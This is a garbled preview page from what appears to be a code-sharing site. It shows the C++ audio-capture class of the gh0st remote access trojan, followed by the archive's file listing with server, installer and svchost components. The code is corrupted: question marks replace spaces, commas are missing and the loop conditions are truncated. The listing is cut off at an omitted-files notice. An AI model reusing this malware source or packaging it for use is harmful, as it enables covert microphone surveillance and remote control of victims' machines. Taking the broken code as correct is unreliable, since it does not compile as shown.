//?Audio.cpp:?implementation?of?the?CAudio?class.
//
#include?“Audio.h“

//////////////////////////////////////////////////////////////////////
//?Construction/Destruction
//////////////////////////////////////////////////////////////////////

CAudio::CAudio（）
{
	m_hEventWaveIn		=?CreateEvent（NULL?false?false?NULL）;
	m_hStartRecord		=?CreateEvent（NULL?false?false?NULL）;
	m_hThreadCallBack	=?NULL;
	m_nWaveInIndex		=?0;
	m_nWaveOutIndex		=?0;
	m_nBufferLength		=?1000;?//?m_GSMWavefmt.wfx.nSamplesPerSec?/?8（bit）

	m_bIsWaveInUsed		=?false;
	m_bIsWaveOutUsed	=?false;

	for?（int?i?=?0;?i?	{
		m_lpInAudioData[i]?=?new?BYTE[m_nBufferLength];
		m_lpInAudioHdr[i]?=?new?WAVEHDR;

		m_lpOutAudioData[i]?=?new?BYTE[m_nBufferLength];
		m_lpOutAudioHdr[i]?=?new?WAVEHDR;
	}
	
	memset（&m_GSMWavefmt?0?sizeof（GSM610WAVEFORMAT））;

	m_GSMWavefmt.wfx.wFormatTag?=?WAVE_FORMAT_GSM610;?//?ACM?will?auto?convert?wave?format
	m_GSMWavefmt.wfx.nChannels?=?1;
	m_GSMWavefmt.wfx.nSamplesPerSec?=?8000;
	m_GSMWavefmt.wfx.nAvgBytesPerSec?=?1625;
	m_GSMWavefmt.wfx.nBlockAlign?=?65;
	m_GSMWavefmt.wfx.wBitsPerSample?=?0;
	m_GSMWavefmt.wfx.cbSize?=?2;
	m_GSMWavefmt.wSamplesPerBlock?=?320;
}

CAudio::~CAudio（）
{
	if?（m_bIsWaveInUsed）
	{
		waveInStop（m_hWaveIn）;
		waveInReset（m_hWaveIn）;
		for?（int?i?=?0;?i?			waveInUnprepareHeader（m_hWaveIn?m_lpInAudioHdr[i]?sizeof（WAVEHDR））;
		waveInClose（m_hWaveIn）;
		TerminateThread（m_hThreadCallBack?-1）;
	}

	if?（m_bIsWaveOutUsed）
	{
		waveOutReset（m_hWaveOut）;
		for?（int?i?=?0;?i?			waveOutUnprepareHeader（m_hWaveOut?m_lpInAudioHdr[i]?sizeof（WAVEHDR））;
		waveOutClose（m_hWaveOut）;
	}		


	for?（int?i?=?0;?i?	{
		delete?[]?m_lpInAudioData[i];
		delete?m_lpInAudioHdr[i];
		
		delete?[]?m_lpOutAudioData[i];
		delete?m_lpOutAudioHdr[i];
	}

	CloseHandle（m_hEventWaveIn）;
	CloseHandle（m_hStartRecord）;
	CloseHandle（m_hThreadCallBack）;
}

LPBYTE?CAudio::getRecordBuffer（LPDWORD?lpdwBytes）
{
	//?Not?open?WaveIn?yet?so?open?it...
	if?（!m_bIsWaveInUsed?&&?!InitializeWaveIn（））
		return?NULL;

	if?（lpdwBytes?==?NULL）
		return?NULL;

	SetEvent（m_hStartRecord）;
	WaitForSingleobject（m_hEventWaveIn?INFINITE）;
	*lpdwBytes?=?m_nBufferLength;
	return	m_lpInAudioData[m_nWaveInIndex];
}

bool?CAudio::playBuffer（LPBYTE?lpWaveBuffer?DWORD?dwBytes）
{
	if?（!m_bIsWaveOutUsed?&&?!InitializeWaveOut（））
		return?NULL;

	for?（int?i?=?0;?i?	{
		memcpy（m_lpOutAudioData[m_nWaveOutIndex]?lpWaveBuffer?m_nBufferLength）;
		waveOutWrite（m_hWaveOut?m_lpOutAudioHdr[m_nWaveOutIndex]?sizeof（WAVEHDR））;
		m_nWaveOutIndex?=?1?-?m_nWaveOutIndex;
	}
	return?true;
}

bool?CAudio::InitializeWaveIn（）
{
	if?（!waveInGetNumDevs（））
		return?false;

	MMRESULT	mmResult;
	DWORD		dwThreadID?=?0;
	m_hThreadCallBack?=?CreateThread（NULL?0?（LPTHREAD_START_ROUTINE）waveInCallBack?（LPVOID）this?CREATE_SUSPENDED

?屬性????????????大小?????日期????時間???名稱
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?????目錄???????????0??2019-01-29?10:57??gh0st\
?????文件?????????139??2016-02-21?10:57??gh0st\.gitignore
?????目錄???????????0??2019-01-29?11:01??gh0st\Bin\
?????文件??????????12??2016-02-21?10:57??gh0st\README.md
?????目錄???????????0??2019-01-29?11:01??gh0st\Release\
?????目錄???????????0??2019-01-28?15:47??gh0st\Server\
?????目錄???????????0??2019-01-28?15:47??gh0st\Server\Bin\
?????目錄???????????0??2019-01-28?15:49??gh0st\Server\Bin\Update\
?????文件?????????615??2019-01-28?15:49??gh0st\Server\Bin\Update\svchost.exp
?????文件????????1654??2019-01-28?15:49??gh0st\Server\Bin\Update\svchost.lib
?????目錄???????????0??2019-01-28?15:47??gh0st\Server\install\
?????文件????????1215??2016-02-21?10:57??gh0st\Server\install\ReadMe.txt
?????文件????????7333??2016-02-21?10:57??gh0st\Server\install\RegEditEx.h
?????目錄???????????0??2019-01-29?11:01??gh0st\Server\install\Release\
?????文件?????????294??2016-02-21?10:57??gh0st\Server\install\StdAfx.cpp
?????文件?????????771??2016-02-21?10:57??gh0st\Server\install\StdAfx.h
?????文件???????15385??2016-02-21?10:57??gh0st\Server\install\acl.h
?????文件????????1410??2016-02-21?10:57??gh0st\Server\install\decode.h
?????文件??????121272??2019-01-25?13:33??gh0st\Server\install\install.aps
?????文件???????16793??2019-01-24?16:24??gh0st\Server\install\install.cpp
?????文件????????2844??2016-02-21?10:57??gh0st\Server\install\install.dsp
?????文件????????1651??2016-02-21?10:57??gh0st\Server\install\install.plg
?????文件????????1629??2019-01-25?13:32??gh0st\Server\install\install.rc
?????文件????????3644??2016-02-21?10:57??gh0st\Server\install\install.vcproj
?????文件?????????810??2016-02-21?10:57??gh0st\Server\install\install.vcproj.ZEShan04-PC.ZEShan04.user
?????文件????????4424??2019-01-24?15:24??gh0st\Server\install\install.vcxproj
?????文件????????1229??2019-01-24?15:24??gh0st\Server\install\install.vcxproj.filters
?????目錄???????????0??2019-01-29?11:01??gh0st\Server\install\res\
?????文件?????????529??2016-02-21?10:57??gh0st\Server\install\resource.h
?????目錄???????????0??2019-01-28?15:47??gh0st\Server\svchost\
?????文件???????13456??2016-02-21?10:57??gh0st\Server\svchost\ClientSocket.cpp
............此處省略286個文件信息